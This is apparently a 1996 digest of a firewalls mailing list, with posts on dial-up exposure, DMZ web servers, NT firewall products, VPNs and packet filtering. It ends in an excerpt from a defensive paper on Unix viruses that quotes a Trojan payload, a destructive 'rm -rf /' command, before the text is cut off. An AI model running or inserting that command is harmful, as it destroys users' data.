Received: by mercury.Sun.COM (Sun.COM)
	id OAA16514; Wed, 6 Mar 1996 14:18:35 -0800
Received: from congress.East.Sun.COM by East.Sun.COM (5.x/SMI-5.3)
	id AA07830; Wed, 6 Mar 1996 17:18:21 -0500
Received: from traveller.East.Sun.COM by congress.East.Sun.COM (4.1/SMI-4.1)
	id AA15831; Wed, 6 Mar 96 17:18:15 EST
Received: by traveller.East.Sun.COM (SMI-8.6/SMI-SVR4)
	id RAA26276; Wed, 6 Mar 1996 17:18:18 -0500
From: Wayne.Gifford@East.Sun.COM (Wayne Gifford - Internet Commerce Group)
Message-Id: <199603062218.RAA26276@traveller.East.Sun.COM>
Subject: Re: Security of Networked Workstations with dial-up PPP Internet!!!
To: firewalls@GreatCircle.com
Date: Wed, 6 Mar 1996 17:18:17 -0500 (EST)
In-Reply-To: <UPMAIL02.199603060601010590@msn.com> from "Lachlan Mann" at Mar 6, 96 00:21:18 am
X-Mailer: ELM [version 2.4 PL21]
Content-Type: text
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

> 
> Folks,
> 
> 	Windows95 Workstation on a private network (supposedly 	secure) with dial-up 
> PPP to the internet.
> 
> I assume that windows 3.11,NT and 95 can forward packets from the PPP link to 
> the local network, thereby acting as a router and exposing the private network 
> to the internet.
> Can anyone give me some specific examples of this ocurring and the security 
> effects or point me at a RFC or whitepaper to read?
> 
> 
Attaching modems directly to a workstation connected to a network
would be a Bad Thing (TM). Even if IP forwarding and you aren't routing
is turned off you have exposed an unprotected node to the outside.

If someone can log in from the outside while you are connected or
happens to find your modem's phone number, you've been breached.


giff
-- 
Wayne Gifford					giff@incog.com
Sun Internet Commerce Group			Phone 703-716-6426
2100 Reston Parkway	 			Phax  703-620-1244
Reston VA, 22091				http://www.incog.com


From firewalls-owner  Wed Mar  6 16:46:26 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id NAA18041 for firewalls-outgoing; Wed, 6 Mar 1996 13:14:24 -0800 (PST)
Received: from hawk.tml.co.za (hawk.tml.co.za [196.4.87.22]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id NAA18027 for <firewalls@GreatCircle.COM>; Wed, 6 Mar 1996 13:14:11 -0800 (PST)
Received: from gavin.tml.co.za (gavin.tml.co.za [196.4.87.114]) by hawk.tml.co.za (8.6.12/8.6.12) with SMTP id XAA08385; Wed, 6 Mar 1996 23:06:50 -0200
Received: by gavin.tml.co.za with Microsoft Mail
	id <01BB0BB1.9C497F80@gavin.tml.co.za>; Wed, 6 Mar 1996 23:06:54 +-200
Message-ID: <01BB0BB1.9C497F80@gavin.tml.co.za>
From: Gavin Ferreiro <gavin@tml.co.za>
To: "'Danny Cox'" <dannyc@gmap.leeds.ac.uk>
Cc: "'firewalls@GreatCircle.COM'" <firewalls@GreatCircle.COM>
Subject: RE: POP server with UIDL command
Date: Wed, 6 Mar 1996 23:06:50 +-200
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

If you install the Netware NFS server software onto the Netware server, =
that server's drives are then able to be mounted through udp from ANY =
NFS client....

The software is available from Novell.

The pre-requisite, is that the server has IP loaded already. This is =
also available from Novell, and in some cases is free.

----------
From:  Danny Cox[SMTP:dannyc@gmap.leeds.ac.uk]
Sent:  06 March 1996 06:42
To:  firewalls@GreatCircle.COM
Subject:  POP server with UIDL command

Dear all,

  I've recently compiled up a couple of POP servers and found that they =
don't
implement the command which allows the mail messages to be left in place =
on
the mail server.  Consequently we're forced to end up with email all =
over.
That doesn't matter when a given person only uses a PC or only uses a =
work
station, but it does if they use both.

Can anyone help ?  Actually - while I'm about it - does anyone know of =
any
methods for allowing a Solaris workstation to mount a Novell drive via =
either
IPX or IP ?

And one more - anyone point me to some 'Java for Idiots' type guides, =
and=20
also to any comparisons of Java with the other similar things which are =
coming
out currently ?

Cheers all,
Danny



From firewalls-owner  Wed Mar  6 16:59:10 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id NAA17775 for firewalls-outgoing; Wed, 6 Mar 1996 13:07:15 -0800 (PST)
Received: from beach.sctc.com (beach.sctc.com [192.55.214.50]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id NAA17761 for <firewalls@greatcircle.com>; Wed, 6 Mar 1996 13:07:04 -0800 (PST)
Received: from beach.sctc.com (daemon@localhost) by beach.sctc.com (8.7.2/8.7.2) with ESMTP id PAA24828; Wed, 6 Mar 1996 15:05:26 -0600 (CST)
Received: from sphinx.sctc.com (sphinx.sctc.com [172.17.192.3]) by beach.sctc.com (8.7.2/8.7.2) with ESMTP id PAA24820; Wed, 6 Mar 1996 15:05:22 -0600 (CST)
Received: from shade.sctc.com (shade.sctc.com [172.17.192.48]) by sphinx.sctc.com (8.7.1/8.6.10) with SMTP id PAA10528; Wed, 6 Mar 1996 15:05:46 -0600 (CST)
Received: (from smith@localhost) by shade.sctc.com (8.6.12/8.6.9) id PAA28673; Wed, 6 Mar 1996 15:05:46 -0600
Date: Wed, 6 Mar 1996 15:05:46 -0600
From: Rick Smith <smith@sctc.com>
Message-Id: <199603062105.PAA28673@shade.sctc.com>
To: firewalls@greatcircle.com
Cc: psiphi@voicenet.com, smith@sctc.com
Subject: Re: WWW Servers & Firewalls
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

psiphi@voicenet.com writes:

>I've been seaching for some documentation on how CGI scripting works
>in relation to setting up a WWW server on the outside of a firewall
>that would use CGI scripts to send and retrieve info from a database
>server on the inside of a firewall ... ...
>My thoughts since I'm new to this thing is to have the WWW server on 
>the screened external subnet... the external users would access this 
>server and the server initiate any requests for additional info from 
>a database or other backend service on the internal side of the 
>firewall...  The server would pass these requests through the 
>firewall to the internal resources via some sort of CGI script.

The external server is In Harm's Way since it can be directly accessed
by potentially hostile users. Therefore you should host it on a
platform that rapidly detects attacks and blocks them from directly
accessing your internal network. That calls for some form of mandatory
access control like an NCSC B level OS with 2 network boards, or a
Sidewinder. The inside network would be on an isolated subnet that
connected to your inside.

>And these requests could be facilitated via a Generic Proxy on the 
>firewall.....

The generic proxy only keeps non-database accesses from entering your
system. Use a strong host with 2 network boards with the generic proxy
on that host.

>How more secure is this than allowing all external users to go 
>through the proxy server to the WWW servers on the other side of the 
>firewall.....  ...
>I prefer the first option myself but some others prefer the second 
>option becuase it is easier to setup but I think that it is less 
>secure becuase if the WWW server is compromised then the intruders 
>are already beyond the firewall...

The second option is like an airport security checkpoint without a
metal detector.  It lets the honest people in, sure, but it doesn't
stop concealed weapons. Web servers have been compromised before and
it's probably going to happen again.

Rick.
smith@sctc.com          secure computing corporation

From firewalls-owner  Wed Mar  6 19:17:09 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id TAA10320 for firewalls-outgoing; Wed, 6 Mar 1996 19:09:56 -0800 (PST)
Received: from guardian.colonial.com.au (guardian.colonial.com.au [140.168.249.1]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id TAA10310 for <firewalls@GreatCircle.COM>; Wed, 6 Mar 1996 19:09:45 -0800 (PST)
From: pmoen@sbnsw.com.au
Received: by guardian.colonial.com.au; id OAA08710; Thu, 7 Mar 1996 14:08:13 +1100
Received: from norman.cmutual.com.au(140.168.8.9) by guardian.colonial.com.au via smap (g3.0.1)
	id sma008707; Thu, 7 Mar 96 14:07:46 +1100
Received: from redbaron.cmutual.com.au ([140.168.1.5])
          by norman.cmutual.com.au (post.office MTA v1.9.1
          **** trial license expired ****) with SMTP id AAA8207
          for <firewalls@GreatCircle.COM>; Thu, 7 Mar 1996 13:09:39 +1100
Received: from mailgw.sbnsw.com.au by redbaron.cmutual.com.au with SMTP id AA14228
  (5.65c/IDA-1.5 for <firewalls@GreatCircle.COM>); Thu, 7 Mar 1996 14:09:06 +1100
Received: by mailgw.sbnsw.com.au; Thu, 7 Mar 96 14:12:48 +1000
Date: Thu, 7 Mar 96 14:12:46 SYD
Message-Id: <vines.oO,6+bRZDlA@mailgw.sbnsw.com.au>
X-Priority: 3 (Normal)
To: <firewalls@GreatCircle.COM>
Subject: Product list: Firewalls for Windows NT
X-Incognito-Sn: 606
X-Incognito-Format: VERSION=2.01a ENCRYPTED=NO
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Here is the summary of the products available taking from the various emails
I received over the last 2 weeks. But first...

If your product isn't on this list.... i suggest you post a reply to this 
_list_
stating that your product is or will be ported to the Window NT platform.


The list of Windows NT Products: (No particular order)

Product: TFS (Turnstyle Firewall System)
Vendor: Altantic Systems Group
Release: "immediate future"  (no specific timeframe given)
URL: http://www.asg.unb.ca

Product: Eagle Firewall for NT
Vendor: Raptor Systems
Release: Currently shipping (for the last couple of weeks)
URL: http://www.raptor.com

Product: Firewall/Plus for NT
Vendor: Network-1
Release: Q2
URL: http://www.network-1.com

Product: BlackHole
Vendor: Milkyway Networks
Release: late 96
URL: http://www.milkyway.com

Product: Firewall-1
Vendor: Checkpoint Software Technologys
Release: Q2
URL: http://www.checkpoint.com

Product: Interware (Proxy/Web/News/Mail server combo) for NT
Vendor: Consensys
Release: 4-6 weeks
URL: http://www.consensys.com

If you want _any_ further information please go to the URLs listed
for each product.

I hope y'all find this interesting, helpful, informative stuff. :)

later

Paul

disclaimer: This list was made up entirely from the emails i received from 
various sources
which i would like to thank kindly now. I take no responsibility if there is 
any information
which is inaccurate or missing. What I received as email, I summarised.

<game over man...game over> - Aliens.

From firewalls-owner  Wed Mar  6 19:45:48 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id TAA12226 for firewalls-outgoing; Wed, 6 Mar 1996 19:37:08 -0800 (PST)
Received: from movicom.movi.com.ar ([200.26.50.10]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id TAA12204 for <firewalls@greatcircle.com>; Wed, 6 Mar 1996 19:36:52 -0800 (PST)
Received: from [200.26.50.69] by movicom.movi.com.ar; (5.65/1.1.8.2/01Feb96-0346PM)
	id AA01276; Wed, 6 Mar 1996 22:20:39 -0500
Date: Thu,  7 Mar 96 00:03:04 PST
From: Jose Vigil <jose@movi.com.ar>
To: firewalls@greatcircle.com
X-Chameleon-Return-To: jose@movi.com.ar
X-Mailer: Chameleon V0.05, TCP/IP for Windows, NetManage Inc.
Message-Id: <Chameleon.960307001009.jose@>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Dear friends,

I have to decide witch firewall to purchase. Can somebody help me?
I have a big network based on DEC hardware, including FDDI, DECSwitch's, 
10bFL repeaters, DECBrouters, etc. I must connect my network to Internet, so I 
need the most secure firewall.

Thanks in advance.


-------------------------------------
Name: Eng. Jose Vigil
Network Manager
Buenos Aires - Argentina
E-mail: Jose Vigil <jose@movi.com.ar>
Date: 03/07/96
Time: 00:03:04
-------------------------------------



From firewalls-owner  Wed Mar  6 21:00:46 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id UAA15280 for firewalls-outgoing; Wed, 6 Mar 1996 20:54:04 -0800 (PST)
Received: from su1.in.net (su1.in.net [199.0.62.2]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id UAA15275 for <firewalls@GreatCircle.com>; Wed, 6 Mar 1996 20:54:00 -0800 (PST)
Received: from pm4-22.in.net by su1.in.net with SMTP (5.65/1.2-eef)
	id AA02283; Wed, 6 Mar 96 23:49:58 -0500
Date: Wed, 6 Mar 96 23:49:58 -0500
Message-Id: <9603070449.AA02283@su1.in.net>
X-Sender: frankw@in.net
X-Mailer: Windows Eudora Pro Version 2.1.2
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
To: jeromie@garrison.com (Jeromie Jackson)
From: Frank Willoughby <frankw@in.net>
Subject: RE: VPN's over the internet
Cc: firewalls@GreatCircle.com
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

At 11:11 AM 3/6/96 CST, Jeromie Jackson allegedly wrote:
>To: frankw@in.net, firewall@greatcircle.com
>Subject: RE: VPN's over the internet
>
>o Most commercial firewalls offer firewall->firewall encryption, 
>  so extra encryption h/w or s/w isn't usually needed.
>
>	Yes, but many of the firewalls do it via software, causing potential 
>bottlenecks @ high bandwidth, therefore it IS beneficial to move to a hardware
>platform that has a dedicated processor.

True.  However, some also have a hardware encryption board with its own CPU
to offload the CPU-intensive chore of encryption sessions.



>o Many (most?) firewalls when performing firewall->firewall encryption
>  are only providing an IP encryption tunnel through the firewalls.
>
>	You would think any 1/2-way intelligent firewall company would not allow
>such a thing to happen.  Why would they effectively breach the complete 
>functionality of the application proxy server?  If they fully trust the other
>entity they should add in the appropriate rulesets to allow such behavior. The
>idea of "I have a VPN therefore I bypass my proxy based services" is obscene.

I agree with you 100%.  However, you are preaching to the choir.  I think 
that this is an area that the firewall vendors need to take care of - ASAP.



>  It is important to note that *NO* applications filtering is performed.
>  While this may offer protection from a MITM (Man-In-The-Middle) attack 
>  (Internet, etc), it offers *NO* protection from the other entity's
>  network.  A problem on their network is a problem on your network.
>>
>
>	If this is true, again, if you moved to an independant hardware solution
>you would be able to still have the complete functionality of the proxy 
>services.

It is true.  However, I agree with you about front-ending the firewall with
an encryption box.  This is one of my work-arounds for the above-mentioned
problem.


>o It is usually beneficial to firewall VPN connections to localize
>  contamination in the event one of the VPN entities is breached.
>
>
>Jeromie Jackson
>Garrison Technologies
>jeromie@garrison.com

Best Regards,


Frank

<standard disclaimer>
The opinions expressed above are of the author and may not 
necessarily be representative of Fortified Networks Inc.

Fortified Networks Inc. - Information Security Consulting
Phone: (317) 573-0800   - http://www.fortified.com
Home of the Free Internet Firewall Evaluation Checklist




From firewalls-owner  Thu Mar  7 05:31:41 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id FAA10397 for firewalls-outgoing; Thu, 7 Mar 1996 05:29:42 -0800 (PST)
Received: from smtp2.interramp.com (smtp2.interramp.com [38.8.200.2]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id FAA10392 for <Firewalls@GreatCircle.COM>; Thu, 7 Mar 1996 05:29:38 -0800 (PST)
Received: from [38.11.94.7] by smtp2.interramp.com (8.6.12/SMI-4.1.3-PSI-irsmtp)
	id IAA13706; Thu, 7 Mar 1996 08:28:03 -0500
X-Sender: cd000674@pop3.interramp.com
Message-Id: <v01530501ad635dfa3b51@[38.11.94.21]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Thu, 7 Mar 1996 10:21:09 +0900
To: Firewalls@GreatCircle.COM
From: dolphin@interramp.com (Tidewater Cyberfish)
Subject: Re: Spoofing Subscriptions (fwd)
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk


>Someone has recently spoof-subscribed the U.S. president, vice-president
>and first lady (president@whitehouse.gov, vice-president@whitehouse.gov,
>and first.lady@whitehouse.gov) to various discussion lists on the
>Internet listservs.

Imagine that...

>If you manage a discussion list, please be aware of this....... the White
>House Internet >Services coordinator has been busy unsubscribing the
>accounts from numerous lists.

Being that they are the number one target in the entire world it only seem
reasonable that the gang across the street at NEOB would be doing something
"useful" for the wages Bill nad Hillary are paying them. :)

>Also, disregard any emails soliciting for info supposedly from these accounts.

Well...there you have it folks...another exciting firewall newsday on the
Beltway.

:) :) :)

rmck

________________________
Bob McKisson
Cypress Systems Corporation
P. O. Box 809
Virginia, VA 23451
(804) 436-1780
dolphin@interramp.com





From firewalls-owner  Thu Mar  7 06:21:10 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id GAA12172 for firewalls-outgoing; Thu, 7 Mar 1996 06:15:33 -0800 (PST)
Received: from relay2.UU.NET (relay2.UU.NET [192.48.96.7]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id GAA12157 for <firewalls@GreatCircle.Com>; Thu, 7 Mar 1996 06:15:24 -0800 (PST)
Received: from maestro.Maestro.COM by relay2.UU.NET with SMTP 
	id QQagaa28175; Thu, 7 Mar 1996 09:12:39 -0500 (EST)
Received: by maestro.Maestro.COM (4.1/MAESTRO-0.1/07-03-93)
	id AA27861; Thu, 7 Mar 96 09:01:21 EST
Date: Thu, 7 Mar 1996 09:01:20 -0500 (EST)
From: Sick Puppy <sikpuppy@maestro.com>
To: firewalls@GreatCircle.Com
Subject: What is the impact of the e-mail attack on Whitehouse?
Message-Id: <Pine.SUN.3.91.960307083117.27493A-100000@maestro.com>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

I have heard, as I am sure may people who lurk on this list have heard, 
that a massive e-mail attack is scheduled today against the guy who went 
from the Outhouse to the Whitehouse.  As a simple country dawg, I will 
show my respect to the simple country boy by not participating in the attack.

If anyone has any credible information after the e-dust settles, I would 
like to get an idea of two things:
1) What was the total impact of the attack?
2) What was the specific impact of the attack on the Whitehouse firewall?

Slick Filly has a legal background and might get offensive if I mentioned 
their firewall by name, so I won't throw down the gauntlet to challenge her.

"Unix System V Primer, Chapter 3, Mail Etiquette, If you are sending mail 
to someone you do not know well, identify yourself briefly."

Okay.  I is a Dawg, one of two known species of MaNiMaL.  The other 
is Rippers what was built from kangaroos.  Curmudgeon posed a very apt 
question "what drives a Dawg from bad to verse?"  I'm still chewing on 
that one.

                                    Sick Puppy, the Cat_Eating_Dawg
                                    Photonic & Tachyonic Systems Engineer
                                    of the Stealth Starship Dark Matter

            -=:( sorry Loyal Fans, no poetry this time ):=-
         -=:(  How could anything that feels so good be so wrong ):=-



From firewalls-owner  Thu Mar  7 06:31:49 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id GAA12537 for firewalls-outgoing; Thu, 7 Mar 1996 06:26:31 -0800 (PST)
Received: from iez.com (mail.iez.com [194.218.38.3]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id GAA12531 for <firewalls@greatcircle.com>; Thu, 7 Mar 1996 06:26:23 -0800 (PST)
Received: by iez.com (AIX 3.2/UCB 5.64/4.03)
          id AA09696; Thu, 7 Mar 1996 15:25:19 +0100
Received: from spibm02(172.16.13.62) by iez.com via smap (V1.3)
	id sma011998; Thu Mar  7 15:24:51 1996
Received: from iez.com by spibm02 (AIX 3.2/UCB 5.64/4.03)
          id AA12742; Thu, 7 Mar 1996 15:24:16 +0100
Message-Id: <9603071424.AA12742@spibm02>
Received: from inhps-a by iez.com with SMTP
	(1.37.109.4/16.2) id AA00645; Thu, 7 Mar 96 15:24:16 +0100
Received: by inhps-a
	(1.38.193.3/16.2) id AA06949; Thu, 7 Mar 96 15:24:13 +0100
From: Rolf Weber <weber@iez.com>
Subject: Re: Eternal war: gateway versus filtering
To: smith@sctc.com (Rick Smith)
Date: Thu, 7 Mar 1996 15:24:12 +0100 (MEZ)
Cc: firewalls@greatcircle.com (firewalls)
In-Reply-To: <199603062046.OAA27260@shade.sctc.com> from "Rick Smith" at Mar 6, 96 02:46:01 pm
X-Mailer: ELM [version 2.4 PL24]
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

> 
> >I see your case now: It is possible to either implement an
> >application level gateway that handles a protocol or to tap an
> >incoming connection and attach a state machine (or some other
> >mechanism) to this connection that tracks the protocol on this
> >connection at an arbitrary level of detail. 
> 
> As long as a "packet filter" is relatively stateless the distinction
> between gateways and filters makes sense and the layering works.
> 
> I believe that once you start maintaining much state about a
> connection, this so-called packet filter is implementing something
> more like a gateway. If the packet filter is reconstructing FTP
> messages so it can extract port numbers from the data stream, then
> it's a mislabeled application gateway.
> 
but with one well known advantage: performance.
nevertheless, i'm happy with my application level firewall :-)
i don't think it's an eternal war, because both types of firewalls
should fight at different battle fields.

rolf
-- 
-----------------------------------------
Rolf Weber <weber@iez.com> | All I ask is a chance
IEZ AG   D-64625 Bensheim  | to prove that money
++49-6251-1309-113         | can't make me happy.

From firewalls-owner  Thu Mar  7 06:46:50 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id GAA12432 for firewalls-outgoing; Thu, 7 Mar 1996 06:23:24 -0800 (PST)
Received: from sun.aitc.rest.tasc.com (sun.aitc.rest.tasc.com [147.81.50.129]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id GAA12424 for <firewalls@greatcircle.com>; Thu, 7 Mar 1996 06:23:19 -0800 (PST)
Received: from iwdc1.office.rest.tasc.com by sun.aitc.rest.tasc.com (NX5.67e/NX3.0M-TASCnet-003)
	id AA00571; Thu, 7 Mar 96 09:01:06 -0600
Received: by iwdc1.office.rest.tasc.com (4.1/SMI-4.1)
	id AA12508; Thu, 7 Mar 96 09:22:03 EST
Date: Thu, 7 Mar 96 09:22:03 EST
From: rebowes@tasc.com (Bob Bowes)
Message-Id: <9603071422.AA12508@iwdc1.office.rest.tasc.com>
To: firewalls@greatcircle.com, jose@movi.com.ar
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk


> 
> Dear friends,
> 
> I have to decide witch firewall to purchase. Can somebody help me?
                   ^^^^^
Is this going to be a witch hunt? :-)

> I have a big network based on DEC hardware, including FDDI, DECSwitch's, 
> 10bFL repeaters, DECBrouters, etc. I must connect my network to Internet, so I 
> need the most secure firewall.
> 
> Thanks in advance.
> 
> 
I can see the religious wars starting now: which firewall is better
than the rest?  Which one you need depends on several factors including
what you're trying to protect as well as the cost of implementing and
maintaining the firewall.  Check out:
http://www.waterw.com/~manowar/vendor.html for a firewall product
overview.  Cathy Fulmer has put together a very good list of commercial
firewalls.  In fact, it was last updated yesterday (3-6-96).  (Thanks
Cathy)

Good luck in your search for the "perfect" firewall.

Bob

From firewalls-owner  Thu Mar  7 07:30:42 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id GAA12422 for firewalls-outgoing; Thu, 7 Mar 1996 06:23:14 -0800 (PST)
Received: from border.com (ns [199.71.190.98]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id GAA12415 for <firewalls@GreatCircle.COM>; Thu, 7 Mar 1996 06:23:09 -0800 (PST)
Received: by janus.border.com id <20481-1>; Thu, 7 Mar 1996 09:33:02 -0500
To: Bill Myers <bmyers@do1.kyrene.k12.az.us>
Cc: firewalls@GreatCircle.COM
Subject: Re: RealAudio and Firewalls 
References: <199602292358.PAA01641@miles.greatcircle.com>
            <96Mar6.151356mst.31074@ksddns.kyrene.k12.az.us>
In-Reply-To: Your message of "Wed, 06 Mar 1996 00:15:52 -0500".
	 <96Mar6.151356mst.31074@ksddns.kyrene.k12.az.us> 
From: "C. Harald Koch" <chk@border.com>
Organization: Border Network Technologies Inc.
Phone: +1 416 368 7157
X-Uri: <URL:http://www.border.com/homes/chk/>
Date: Thu, 7 Mar 1996 09:21:12 -0500
Message-Id: <96Mar7.093302est.20481-1@janus.border.com>
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk


>  Hey Borderware! Are you getting all this?

BorderWare also supports RealAudio, currently as a patch to the 3.1.1
release of our software. Please contact Border Customer Support at the
numbers below for details on how to obtain the patch.

Editorial comment:

The firewalls mailing list is not supposed to be a forum for vendors to
peddle their wares, so Border does not normally send out these types of "me
too" feature messages. (We would be more than happy to change this policy if
the membership of the list so desires...)

-- 
C. Harald Koch            | Border Network Technologies Inc.
chk@border.com            | Senior System Developer
+1 416 368 7157 (voice)   | 20 Toronto Street, Suite 400, Toronto ON M5C 2B8
+1 416 368 7789 (fax)     | Tary: a unit of intelligence; As in "military".

From firewalls-owner  Thu Mar  7 07:37:29 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id HAA14956 for firewalls-outgoing; Thu, 7 Mar 1996 07:27:14 -0800 (PST)
Received: from smtp.consenco.com ([38.253.235.2]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id HAA14950 for <firewalls@greatcircle.com>; Thu, 7 Mar 1996 07:27:08 -0800 (PST)
From: MARK.S.BIRKELIEN@consenco.com
Received: from ccMail by smtp.consenco.com
  (IMA Internet Exchange 1.04b) id 13efde20; Thu, 7 Mar 96 10:16:50 -0500
Mime-Version: 1.0
Date: Thu, 7 Mar 1996 10:13:23 -0500
Message-ID: <13efde20@consenco.com>
Subject: I don't think I'm in Kansas anymore
To: alano@teleport.com, barney@databus.com, bmyers@DO1.KYRENE.K12.AZ.US,
        cameron@deet.gov.au, charles.hutson@ptech.com, chris@cwi.net,
        dannyc@gmap.leeds.ac.uk, emontoya@sigma.eafit.edu.co,
        firewall-1@applicom.co.il, firewalls@greatcircle.com, frank@in.net,
        gavin@tml.co.za, holdrege@eisner.decus.org, jeromie@garrison.com,
        jim.brown@ptech.com, jose@movi.com.ar, kris@schulung.netuse.de,
        Mike.Attayek.0199191@nt.com, murrell@bctel.net, perry@cynic.org,
        pferguso@cisco.com, pgodwin@claven.den.mmc.com, pmoen@sbnsw.com.au,
        ray.locklear@ptech.com, rebowes@tasc.com, samman-ben@CS.YALE.EDU,
        sandy@kesmai.com, smith@sctc.com, starr.hill-bennet@ptech.com
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Description: cc:Mail note part
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

     Gang,

        "Pay no attention to that man behind the firewall!"

        Here's the problem: our company has a vendor in Boston, Mass. who is 
going to lease a dedicated line directly into an HP 9000 UNIX box which 
currently resides in Southern Maryland.  They set up and sold the system to 
a department in our company and they want access to it.  
        At this point let me just say that I wasn't allowed to ask WHY, so 
neither can any of you.
        As system administrator for UNIX systems, the security issue posed 
to me was, "How do we keep them from getting access to any of our other 
systems on the network once they sign into their box?"
        I setup some inetd.sec files on our twelve other HP UNIX systems 
denying certain services such as TELNET, FTP, etc., but we have several 
hundred RS 6000s that also need protection, as well as a few DEC systems.
        Everyone I've asked so far isn't very optimistic that this can be 
done.  Would a firewall be the answer?  Am I barking up the wrong 
yellow-brick road here? 


 
 If I only had a brain,

 Birk 
 Baltimore, Maryland 

From firewalls-owner  Thu Mar  7 07:46:56 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id GAA12989 for firewalls-outgoing; Thu, 7 Mar 1996 06:40:12 -0800 (PST)
Received: from tuna.wang.com (tuna.wang.com [150.124.136.4]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id GAA12978 for <firewalls@GreatCircle.com>; Thu, 7 Mar 1996 06:40:04 -0800 (PST)
Received: from mail.wangfed.com (ns.wangfed.com [159.94.10.19])
    by tuna.wang.com (8.6.12/8.6.12tf1) with SMTP id JAA10249
    for <firewalls@GreatCircle.com>; Thu, 7 Mar 1996 09:38:36 -0500
Received: from hfsi.hfsi.com by mail.wangfed.com (1.37.109.4/A.09.00a)
	id AA15413; Thu, 7 Mar 96 09:28:52 -0600
Received: from [159.94.14.48] by hfsi (BULL 5.61++/B.O.S 02.01)
	id AA20867; Thu, 7 Mar 96 09:33:13 -0500
Date: Thu, 7 Mar 96 09:33:13 -0500
Message-Id: <9603071433.AA20867@hfsi>
From: "KM"  <goertzek@gateway.wangfed.com>
Reply-To: "KM"  <goertzek@wangfed.com>
To: firewalls@GreatCircle.com
Subject: UNIX CVirus - 2nd try (pt 1)
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Computer Viruses In Unix Networks
Peter V. Radatti

CyberSoft, Incorporated
1508 Butler Pike  Conshohocken, PA. 19428
Internet Email:  radatti@cyber.com

Copyright ) August 1995, February 1996 by Peter V. Radatti.  Permission is 
granted to any individual or institution to use, copy, or redistribute this 
document so long as it is not sold for profit, and provided that it is 
reproduced whole and this copyright notice is retained.

ABSTRACT

Unix systems are as susceptible to hostile software attacks as any other system,
however, the Unix community is zealous in their believe that they are immune.  
This belief is in the face of historical reality.  The first computer viruses 
created were on Unix systems.  The Internet Worm, Trojan Horses and Logic Bombs 
are all ignored milestones in
this belief. Not withstanding these beliefs, there is a growing concern among 
computer security professionals about these problems.  This concern is based on 
recognition of the complex nature of the problem and the increasing value of 
Unix based networks. Whereas, the Internet Worm disrupted the Internet in 1988 
the cost was relativity low.
If this attack is repeated today, the cost will be very high because of the new 
found importance of the
Internet, electronic business networks using EDI and private networks, all of 
which are Unix based.

Traditional methods used against attacks in other operating system environments 
such as

MS-DOS are insufficient in the more complex environment provided by Unix.  
Additionally, Unix provides a special and significant problem in this regard due
to its open and heterogeneous nature.  These problems are expected to become 
both more common and pronounced as 32 bit multitask network operating systems 
such as Microsoft NT
become popular.  Therefore, the problems experienced today are good indicators 
of the problems and the solutions that will be experienced in the future, no 
matter which operating system becomes predominate.

2. THE EXISTENCE OF THE PROBLEM AND ITS NATURE

The problem of software attacks exists in all operating systems.  These attacks 
follow different forms according to the function of the attack.  In general, all
forms of attack contain a method of self preservation which may be propagation 
or migration and a payload.  The most common method of self preservation in Unix
is obscurity.  If the
program has an obscure name or storage location, then it may avoid detection 
until after its payload has had the opportunity to execute.  Computer worms 
preserve themselves by migration while computer viruses use propagation.  Trojan
horses, logic bombs and time bombs protect themselves by obscurity.

While the hostile algorithms that have captured the general public's imagination
are viruses and worms, the more common direct problem on Unix systems are Trojan
horses and time bombs.  A Trojan horse is a program that appears to be something
it is not.  An example of a Trojan horse is a program that appears to be a 
calculator or other
useful utility which has a hidden payload of inserting a back door onto its host
system.  A simple Trojan horse
can be created by modifying any source code with the addition of a payload.  One
of the most favorite payloads observed in the wild is "/bin/rm -rf / >/dev/null 
